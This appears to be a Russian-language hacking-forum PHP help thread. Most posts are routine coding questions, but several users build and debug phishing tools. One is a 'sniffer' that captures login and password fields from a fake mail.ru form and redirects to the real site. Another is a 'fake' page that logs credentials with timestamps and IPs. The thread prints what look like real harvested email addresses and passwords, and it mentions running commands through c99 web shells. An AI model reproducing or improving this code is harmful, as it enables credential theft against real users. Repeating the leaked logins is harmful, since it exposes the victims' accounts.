dd bs=1M if=/dev/sda | gzip | ssh user@remote 'dd of=sda.gz' - сделать резервную копию (сбекапить) жесткого диска и послать ее на удаленный компьютер
ни 1 команда не проходит.
Пробовал античат шеллом и с99
также пробовал в ПХП через cmd();
spamoney
19.11.2009, 15:59
Всем Добрый Вечер!
Помогите, пожалуйста, разобраться с одним вопросом:
Переношу пользователей с одного проекта на другой, всё бы ничего, да на старом проекте алгоритм шифрования паролей используются:
md5(md5('Пароль'));
на новом же:
md5(md5('Сальт').(md5('Пароль')));
Возможно ли перенести пароли пользователей с одного проекта на другой?
т.е, предположим, если бы на старом проекте алгоритм шифрования был таким:
md5('Пароль');
Можно было бы сделать таким образом:
SELECT old_password FROM `old_project_table`
INSERT INTO `new_project_table` (salt, new_password) VALUES ('Случайный сальт', ''.md5(md5('Случайный сальт').(old_password)).'')
А вот каким образом сделать с md5(md5()); не знаю....
Следующий вопрос:
После парсинга у меня в массиве находятся даты такого формата- 19.11.2009, как мне их переписать в 2009-11-19.
Следующий вопрос:
После парсинга у меня в массиве находятся даты такого формата- 19.11.2009, как мне их переписать в 2009-11-19.
$data = '19.11.2009';
list($d, $m, $g) = explode('.', $data);
echo $g.'-'.$m.'-'.$d;
как сделать чтобы текст который записывался в текстовик начинался с новой строки?
т.е
$fp=fopen("ls.txt","a+");
fwrite($fp,"first full text [тут перенос на новую строку] next full next [тут перенос на новую строку] next text...");
fclose($fp);
']как сделать чтобы текст который записывался в текстовик начинался с новой строки?
т.е
$fp=fopen("ls.txt","a+");
fwrite($fp,"first full text [тут перенос на новую строку] next full next [тут перенос на новую строку] next text...");
fclose($fp);
$fp=fopen("ls.txt","a+");
fwrite($fp,"first full text \r\n next full next \r\n next text...");
fclose($fp);
Здарова народ! Возник вопрос: как можно добиться выделения тем как в форуме? Что конкретно: Нужны просто темы,без форумов...Как организовать скрипт на php с исползованием бд = bd.txt ?
Искал сам -- ничего не нашёл!
Здарова народ! Возник вопрос: как можно добиться выделения тем как в форуме? Что конкретно: Нужны просто темы,без форумов...Как организовать скрипт на php с исползованием бд = bd.txt ?
Искал сам -- ничего не нашёл!
Чего чего? :confused: :confused:
Напиши по русски!!
Есть форумы...В них есть темы...Я открывал форумы и пытался разобратцо каким образом происходим формирование новых тем из бд на основе текстового файла...
Нифига...Прошу помощи,сам форум не нужен,как сделать формирование тем?
Есть форумы...В них есть темы...Я открывал форумы и пытался разобратцо каким образом происходим формирование новых тем из бд на основе текстового файла...
Нифига...Прошу помощи,сам форум не нужен,как сделать формирование тем?
На MySQL !!!
mysql_query ("INSERT INTO таблица (поле куда встаыить) VALUES ('$переменая с тем что встовляют')");
И вообще скачай PHPBB И мозги не делай хороший форум!
Немогу установить curl , перечитал форумы , статьи , гугл . Так и не получилось ... кто знает что делать отпишите :)
Ап... помогите ... дело срочное :(
-=lebed=-
20.11.2009, 12:41
Ап... помогите ... дело срочное :(
ось какая?
windows xp 2 , стоит денвер
phpdreamer
20.11.2009, 12:51
поставь себе пакет расширений http://www.denwer.ru/dis/PHP5/latest?from=site (чтоб небыло проблем с пыхой) и в файле \WebServers\usr\local\php5\php.ini
раскоментируй (убери знак ";" перед) extension=php_curl.dll
потом найди там disable_functions =
и убери оттуда curl
ПЕРЕЗАГРУЗИ сервер и радуйся
Cделал всё как написал , но теперь пишит Warning: curl_setopt(): supplied argument is not a valid cURL handle resource in
Вот этот скрипт :
<?php // инициализация сеанса // установка URL и других необходимых параметров curl_setopt($ch, CURLOPT_URL, "http://www.example.com/"); curl_setopt($ch, CURLOPT_HEADER, 0); // загрузка страницы и выдача её браузеру curl_exec($ch); // завершение сеанса и освобождение ресурсов curl_close($ch); ?>
phpdreamer
20.11.2009, 13:07
<?php
$ch = curl_init();
// откроем файл в который сохраним для записи
$fp = fopen("image.jpg", "w");
// выберем URL с которого будем качать и писать в файл
curl_setopt ($ch, CURLOPT_URL, "http://www.ihtiandr.info/picture.jpg");
curl_setopt ($ch, CURLOPT_FILE, $fp);
// никакие заголовки получить с сервера не будем
curl_setopt($ch, CURLOPT_HEADER, 0);
// логин и пароль если сайт требует авторизации (например через .htaccess)
curl_setopt($ch, CURLOPT_USERPWD, "login:password");
curl_exec($ch);
// закроем все это дело
curl_close($ch);
fclose($fp);
?>
Всем привет. Скажите пожалуйста как сделать следующие. Мне надо сделать так чтобы под каждым ip отображалось определенное имя н-р 95.465.124.321 = Marina
Вот так сделано у меня: <input type=text name="Re" id="Re" value="<?php echo $_SERVER['REMOTE_ADDR']; ?>"> мне надо чтобы в value отображалось имя Marina, а если с другого ip адреся зашли на страницу то отображалось другое имя, а если ip нет в списке, то просто надпись "Впешите свой ник"
mailbrush
20.11.2009, 14:18
amBX, надо использовать БД.
<?php
function getname()
{
$names = file('names.txt');
for($i=0; $i<sizeof($names); $i++)
{
$check = explode(' ', $names[$i]);
if(strcmp($check[0], $_SERVER['REMOTE_ADDR']) == 0)
return trim($check[1]);
}
return 'Введите ник';
}
?>
<input type=text name="Re" id="Re" value="<?php echo getname(); ?>">
names.txt здесь в роли бд
формат файла типа:
95.465.124.321 Marina
127.0.0.1 Admin
Пытаюсь заставить работать вот этот код, но в итоге $match2 оказывается пустым...
preg_match_all("|<h1>(.*?)<\/h1>.*<div id=\"artcontent\">(.*?)<p align=\"right\">|is",$content, $match2, PREG_PATTERN_ORDER);
$match2[2] = strip_tags($match2[2],"<br/><div><p><b>");
......
$text = $match2[2][$k].$match2[1][$k];
fwrite($fp, $text."\n");
Мне нужно удалять теги именно из массива, т.к. в дальнейшем массив пишется в другой текст, где много спецсимволов и соответственно будут неправильные замены. Помогите пожалуйста...
phpdreamer
20.11.2009, 21:32
Komyak, посмотри это http://www.baksik.ru/baze/PHP/13.php
$regexp2 = '/userdetails.php?id="([0-9,a-z,A-Z,]+)"/';
$friends_pages = $page+1;
$friends_ids = Array();
echo "Loading friendlist...\r";
for ($f = $page; $f <= $friends_pages; $f++) {
$q->Get("http://www.web.web/users.php?letter=a&page=$f");
file_put_contents($inc_dir.'/friends.html', $q->Result);
$content2 = file_get_contents($inc_dir.'/friends.html', $q->Result);
preg_match_all($regexp2, $content2, $fl, PREG_SET_ORDER);
foreach ($fl as $fll) {
if (!in_array($fll[1], $friends_ids))
$friends_ids[] = $fll[1];
}
}
$friends_count_real = count($friends_ids);
echo "Friendlist loaded. $friends_count_real IDs\n";
В friends.html Нужно чтоб нахадил ид юзерав в friends.html это выгледит так <a href="userdetails.php?id=316982">
А то тупо 0идс найдено =[
<input value="login poli'zovatelya" name="login">
<input type="password" name="password"><input type="hidden" name="account" value="other@mail.ru"></td>
<td width="121" valign="top">
<select name="domain">
<option value=mail.ru>@mail.ru</option>
<option value=inbox.ru>@inbox.ru</option>
<option value=list.ru>@list.ru</option>
<option value=bk.ru SELECTED>@bk.ru</option>
Методом
<form name="Auth" method="post" action=//www.site.ru/sniffer.php target="_self">
Нужен сниффир на php что бы сохранял данные из этих полей в txt файл.
У меня есть сниффер
<?php
$f=fopen("moil.txt","at"); # файл куда сохранять
flock($f,2);
fputs($f,$_GET['Login']."@"); #логин
fputs($f,$_GET['Domain']); #домен
fputs($f,";".$_GET['Password']."\n"); # пароль
flock($f,3);
fclose($f);
?>
<script>document.location.href="http://win.mail.ru/cgi-bin/readmsg?id=121112312";</script>
Но он не работает в файл сохраняется только .@ и все.
:confused: :confused: :confused:
$open = fwopen('file.txt','a+');
$string = $_POST['login'].':'.$_POST['password'].':'.$_POST['account']."\r\n";
fwrite($open,$string);
fclose($open);
$open = fwopen('file.txt','a+');
$string = $_POST['login'].':'.$_POST['password'].':'.$_POST['account']."\r\n";
fwrite($open,$string);
fclose($open);
Fatal error: Call to undefined function: fwopen() in /home/a/site.ru/WWW/index.php on line 2
:(
Вот это выскакивает.
Разобрался ты опечатался спасибо тока не fwopen а fopen
Fatal error: Call to undefined function: fwopen() in /home/a/site.ru/WWW/index.php on line 2
:(
Вот это выскакивает.
Разобрался ты опечатался спасибо тока не fwopen а fopen
дак он просто опечаталсо вот тут: fwopen(
замени на fopen
$open = fopen('file.txt','a+');
$string = $_POST['login'].':'.$_POST['password'].':'.$_POST['account']."\r\n";
fwrite($open,$string);
fclose($open);
там просто опечатка
Помогите со скриптом forum.antichat.ru/thread157667.html тут кто может :(
Подскажите а то я чего - то недопонимаю. В скрипте пхп установил куки, имя время, значение. Все легко и просто. Но вот как с помощью скрипта считывать куки и понимать что зашел именно юзер вася а не петя, и вообще то, что этот юзер авторизированн.
Привет всем, подскажите пожалуйста как сделать так чтобы на страницу не могли войти с определенного Ip адреса, т.е. со всех смогли заходить, а с данного не могли. Спасибо заранее.
erihtoney
21.11.2009, 11:30
.htaccess
Order allow,deny
Allow from All
Deny from IP
erihtoney
21.11.2009, 11:33
Подскажите а то я чего - то недопонимаю. В скрипте пхп установил куки, имя время, значение. Все легко и просто. Но вот как с помощью скрипта считывать куки и понимать что зашел именно юзер вася а не петя, и вообще то, что этот юзер авторизированн.
Предположим ты отправил пользователю id и хеш пароля (pass)
Обрабатывай куки, которые получаешь от пользователя и делай запрос в бд, действительно ли существует юзер с данным иди и паролей, если да, то выполняй определенную последовательность действий, в том числе выборка данных и т.д.
Иначе, можешь выводить форму авторизации
вот я и спрашиваю как их обработать! то что через бд проверить можно я знаю, а вот как обработать нет.
erihtoney
21.11.2009, 12:06
вот я и спрашиваю как их обработать! то что через бд проверить можно я знаю, а вот как обработать нет.
id можно прогнать через intval
хеш можно проверить через регулярку, либо
mysql_real_escape_string (http://php.net/manual/en/function.mysql-real-escape-string.php)
$regexp2 = '/userdetails.php?id="([0-9,a-z,A-Z,]+)"/';
$friends_pages = $page+1;
$friends_ids = Array();
echo "Loading friendlist...\r";
for ($f = $page; $f <= $friends_pages; $f++) {
$q->Get("http://www.web.web/users.php?letter=a&page=$f");
file_put_contents($inc_dir.'/friends.html', $q->Result);
$content2 = file_get_contents($inc_dir.'/friends.html', $q->Result);
preg_match_all($regexp2, $content2, $fl, PREG_SET_ORDER);
foreach ($fl as $fll) {
if (!in_array($fll[1], $friends_ids))
$friends_ids[] = $fll[1];
}
}
$friends_count_real = count($friends_ids);
echo "Friendlist loaded. $friends_count_real IDs\n"; Непойму почему он неберет идшники с friends.html . В Friends.html eto vigledit tak <a href="userdetails.php?id=316982"> вот в концэ ид юзэра. Помогите пожалусто :)
Pashkela
21.11.2009, 14:48
1. в регеспе у тебя id="([0-9,a-z,A-Z,]+)", т.е. id в кавычках, а пишешь, что в исходниках так: "userdetails.php?id=316982">
2. если все таки так, как в исходниках, так попробуй:
<pre>
<?php
$a = '<a href="userdetails.php?id=316982">';
preg_match_all('#a href="userdetails.php\?id=(.*)">#',$a,$b);
print_r($b);
?>
</pre>
PS: Знак вопроса "?" - служебный символ в регулярках, требует слеширования
phpdreamer
21.11.2009, 14:51
для строки
регулярка :
$search= preg_match_all('#id=([0-9]+)#', $string, $n); // в $string строка в которой ищем
print_r($n[1]); //в массиве $n[1] все id
дальше сам... скрипт не сложный, но ты накрутил нечно ужасное
----
Pashkela опередил
Pashkela
21.11.2009, 15:18
для строки
регулярка :
$search= preg_match_all('#id=([0-9]+)#', $string, $n); // в $string строка в которой ищем
print_r($n[1]); //в массиве $n[1] все id
тут ты немножко не прав, цеплять просто по наличию в строке "id" чревато, открой любую интернет-страницу, CTRL+F "id" и поймешь. В регеспах краткость конечно сестра таланта, но корректная краткость
phpdreamer
21.11.2009, 16:10
согласен с тобой,
но мне также кажется что [0-9]+ надежнее чем .*
эхх как бы вам объяснить... У меня есть скрипт. В скрипте сеткуки. И все. Я на станицу зашел, в браузере появились куки. Теперь мне нужен код, который сможет определить есть ли у меня куки и считать оттуда данные. То что вы написали я непонимаю. Я новичок в пхп. Мне нужен скрипт который будет лезть в куки браузера
эхх как бы вам объяснить... У меня есть скрипт. В скрипте сеткуки. И все. Я на станицу зашел, в браузере появились куки. Теперь мне нужен код, который сможет определить есть ли у меня куки и считать оттуда данные. То что вы написали я непонимаю. Я новичок в пхп. Мне нужен скрипт который будет лезть в куки браузера
echo $_COOKIE['cookie_name'];
выведет установленную печеньку с именем cookie_name
а вот так, выйдут все куки:
print_r($_COOKIE);
Скажите пожалуйста как сделать так чтобы фейк записывал данные снизу вверх, а не оборот.
т.е. вот самый простой скрипт фейка:
<?PHP
$date=date("[d/m/Y|H:i]");
$ip = @$_SERVER['REMOTE_ADDR'];
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$c = "$date | [$ip]
$Login;$Pass";
$fp = fopen("log.html","a+");
fwrite($fp,"\n$c\n");
fclose($fp);
?>
Все данные будут записываться в log.html примерно так:
[26/07/2009|21:27] | [95.133.241.240]
alex-zelenskij@mail.ru;MEL666alex1995
[27/07/2009|00:30] | [79.133.78.60]
LinkinPark77@ya.ru;princess
[27/07/2009|07:43] | [79.133.132.233]
aleksavla2@mail.ru;dkfcjdf
А мне надо сделать чтобы данные записывались так:
[27/07/2009|07:43] | [79.133.132.233]
aleksavla2@mail.ru;dkfcjdf
[27/07/2009|00:30] | [79.133.78.60]
LinkinPark77@ya.ru;princess
[26/07/2009|21:27] | [95.133.241.240]
alex-zelenskij@mail.ru;MEL666alex1995
т.е. самые новые данные были сверху.
Помогите решить проблему.
Pashkela
21.11.2009, 21:09
никак, только последующая обработка лога. Пример можешь посмотреть в каник-сниффер
спасибо мистер зе! Именно это мне и нужно было.
никак, только последующая обработка лога. Пример можешь посмотреть в каник-сниффер
а если fseek() на нулевую пазицию перейти и потом запись сделать =)
Pashkela
21.11.2009, 21:17
2 b3:
Ага, ты прав, чото туплю. Хотя усложнение процедуры записи в лог не есть гуд при большом трафе.
Ребят я конечно понимаю что вы все умные люди и можете говорить понимая друг друга с полу слова, но можно мало грамотному в этой области по русски и внятно объяснить что к чему мне сделать надо. Спасибо.
Pashkela
21.11.2009, 21:28
Ну b3 если соблаговолит, мне лень
KaZ@NoVa
21.11.2009, 21:43
Ребят я конечно понимаю что вы все умные люди и можете говорить понимая друг друга с полу слова, но можно мало грамотному в этой области по русски и внятно объяснить что к чему мне сделать надо. Спасибо.
Так не сделать просто - в любом случае надо переписывать весь файл. Ведь нельзя просто сместить оффсет начала файла, чтобы сместились все данные, а в нулевую часть записать новые. Потому надо читать ВЕСЬ файл, обнулять его, затем писать новую запись, а после нее прочитанный буффер. В случае с базой данных таких проблем нет, поскольку СУБД берет все эти издержки на себя.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot